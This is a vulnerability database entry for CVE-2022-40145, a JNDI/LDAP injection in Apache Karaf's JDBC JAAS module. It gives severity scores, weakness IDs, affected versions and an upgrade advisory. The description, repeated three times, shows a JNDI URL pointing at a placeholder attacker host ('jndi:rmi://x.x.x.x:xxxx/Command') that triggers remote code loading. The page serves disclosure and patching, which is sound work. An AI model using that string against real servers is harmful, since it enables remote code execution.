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Vulnerability Details :

CVE-2022-40145

Summary
Assigner-apache
Assigner Org ID-f0158376-9dc2-43b6-827c-5f631a4d8d09
Published At-21 Dec, 2022 | 15:23
Updated At-15 Apr, 2025 | 18:03
Rejected At-
Credits

Apache Karaf: JDBC JAAS LDAP injection

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Vendors
-
Not available
Products
-
Metrics (CVSS)
VersionBase scoreBase severityVector
Weaknesses
Attack Patterns
Solution/Workaround
References
HyperlinkResource Type
EPSS History
Score
Latest Score
-
N/A
No data available for selected date range
Percentile
Latest Percentile
-
N/A
No data available for selected date range
Stakeholder-Specific Vulnerability Categorization (SSVC)
▼Common Vulnerabilities and Exposures (CVE)
cve.org
Assigner:apache
Assigner Org ID:f0158376-9dc2-43b6-827c-5f631a4d8d09
Published At:21 Dec, 2022 | 15:23
Updated At:15 Apr, 2025 | 18:03
Rejected At:
▼CVE Numbering Authority (CNA)
Apache Karaf: JDBC JAAS LDAP injection

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Affected Products
Vendor
The Apache Software FoundationApache Software Foundation
Product
Apache Karaf
Default Status
unaffected
Versions
Affected
  • From 4.4.0 before 4.4.2 (maven)
  • From 0 before 4.3.8 (maven)
Problem Types
TypeCWE IDDescription
CWECWE-74CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWECWE-20CWE-20 Improper Input Validation
Type: CWE
CWE ID: CWE-74
Description: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Type: CWE
CWE ID: CWE-20
Description: CWE-20 Improper Input Validation
Metrics
VersionBase scoreBase severityVector
Metrics Other Info
Textual description of severity
text:
low
Impacts
CAPEC IDDescription
Solutions
Configurations
Workarounds
Exploits
Credits
reporter
Xun Bai <bbbbear68@gmail.com>
Timeline
EventDate
Replaced By
Rejected Reason
References
HyperlinkResource
https://karaf.apache.org/security/cve-2022-40145.txt
vendor-advisory
Hyperlink: https://karaf.apache.org/security/cve-2022-40145.txt
Resource:
vendor-advisory
▼Authorized Data Publishers (ADP)
1. CVE Program Container
Affected Products
Metrics
VersionBase scoreBase severityVector
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions
Configurations
Workarounds
Exploits
Credits
Timeline
EventDate
Replaced By
Rejected Reason
References
HyperlinkResource
https://karaf.apache.org/security/cve-2022-40145.txt
vendor-advisory
x_transferred
Hyperlink: https://karaf.apache.org/security/cve-2022-40145.txt
Resource:
vendor-advisory
x_transferred
2. CISA ADP Vulnrichment
Affected Products
Metrics
VersionBase scoreBase severityVector
3.19.8CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Version: 3.1
Base score: 9.8
Base severity: CRITICAL
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions
Configurations
Workarounds
Exploits
Credits
Timeline
EventDate
Replaced By
Rejected Reason
References
HyperlinkResource
Information is not available yet
▼National Vulnerability Database (NVD)
nvd.nist.gov
Source:security@apache.org
Published At:21 Dec, 2022 | 16:15
Updated At:15 Apr, 2025 | 18:15

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

CISA Catalog
Date AddedDue DateVulnerability NameRequired Action
N/A
Date Added: N/A
Due Date: N/A
Vulnerability Name: N/A
Required Action: N/A
Metrics
TypeVersionBase scoreBase severityVector
Primary3.19.8CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Secondary3.19.8CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type: Primary
Version: 3.1
Base score: 9.8
Base severity: CRITICAL
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type: Secondary
Version: 3.1
Base score: 9.8
Base severity: CRITICAL
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CPE Matches
The Apache Software Foundation
apache
>>karaf>>Versions before 4.3.8(exclusive)
cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*
The Apache Software Foundation
apache
>>karaf>>Versions from 4.4.0(inclusive) to 4.4.2(exclusive)
cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*
Weaknesses
CWE IDTypeSource
CWE-20Secondarysecurity@apache.org
CWE-74Secondarysecurity@apache.org
NVD-CWE-OtherPrimarynvd@nist.gov
CWE ID: CWE-20
Type: Secondary
Source: security@apache.org
CWE ID: CWE-74
Type: Secondary
Source: security@apache.org
CWE ID: NVD-CWE-Other
Type: Primary
Source: nvd@nist.gov
Evaluator Description
Evaluator Impact

Evaluator Solution

Vendor Statements
References
HyperlinkSourceResource
https://karaf.apache.org/security/cve-2022-40145.txtsecurity@apache.org
Vendor Advisory
https://karaf.apache.org/security/cve-2022-40145.txtaf854a3a-2127-422b-91ae-364da2661108
Vendor Advisory
Hyperlink: https://karaf.apache.org/security/cve-2022-40145.txt
Source: security@apache.org
Resource:
Vendor Advisory
Hyperlink: https://karaf.apache.org/security/cve-2022-40145.txt
Source: af854a3a-2127-422b-91ae-364da2661108
Resource:
Vendor Advisory

Change History

0
Information is not available yet

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